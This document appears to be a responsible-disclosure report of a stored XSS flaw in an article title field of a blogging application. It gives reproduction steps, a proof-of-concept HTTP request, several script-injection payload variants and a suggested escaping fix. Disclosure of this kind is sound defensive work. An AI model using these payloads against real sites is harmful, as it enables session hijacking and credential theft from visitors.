[Security] Stored XSS Vulnerability in Article Title Field (articleTitle) - v2.6.4-stable

[fakervsbln]

Security Vulnerability Report

Type: Stored Cross-Site Scripting (XSS)
Severity: High
Affected Version: v2.6.4-stable
Affected Endpoint: POST /console/article/
Affected Parameter: articleTitle

---

Description

A stored XSS vulnerability exists in the article creation functionality.
The articleTitle parameter is not sanitized before being stored in the
database, causing the malicious payload to execute in the browser of every
user who visits the affected article.

---

Steps to Reproduce

1. Login to the admin panel
2. Navigate to the article creation page: http://[host]/admin-index.do#article/article
3. Enter the following payload in the Title field:<img src=1 onerror=alert(1)>

4. Click the Publish button

5. Visit the published article — the XSS payload executes

HTTP Request (PoC)

POST /console/article/ HTTP/1.1
Host: localhost:8080
Cookie:solo=[your_session_cookie]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

{"article":{"articleTitle":"<img src=1 onerror=alert(1)>","articleContent":"<img src=1 onerror=alert(1)>\n\n\n","articleAbstract":"<img src=1 onerror=alert(1)>\n\n\n","articleTags":"","articlePermalink":"","articleStatus":0,"articleSignId":"1","postToCommunity":false,"articleCommentable":true,"articleViewPwd":"","category":""}}

Payload Variants

<img src=1 onerror=alert(1)>
<svg onload=alert('XSS')>
<script>alert(document.domain)</script>

---

Impact

• All visitors of the affected article trigger the payload without any additional interaction
• Session hijacking via cookie theft
• Credential harvesting through injected fake login forms
• Administrative actions executed in admin context

---

Suggested Fix

articleTitle = StringEscapeUtils.escapeHtml4(articleTitle);

Add security headers:

Content-Security-Policy: default-src 'self'; script-src 'self'
X-XSS-Protection: 1; mode=block

---

References

• CWE-79: Cross-site Scripting
• OWASP XSS Prevention

---

This issue is reported for responsible disclosure purposes.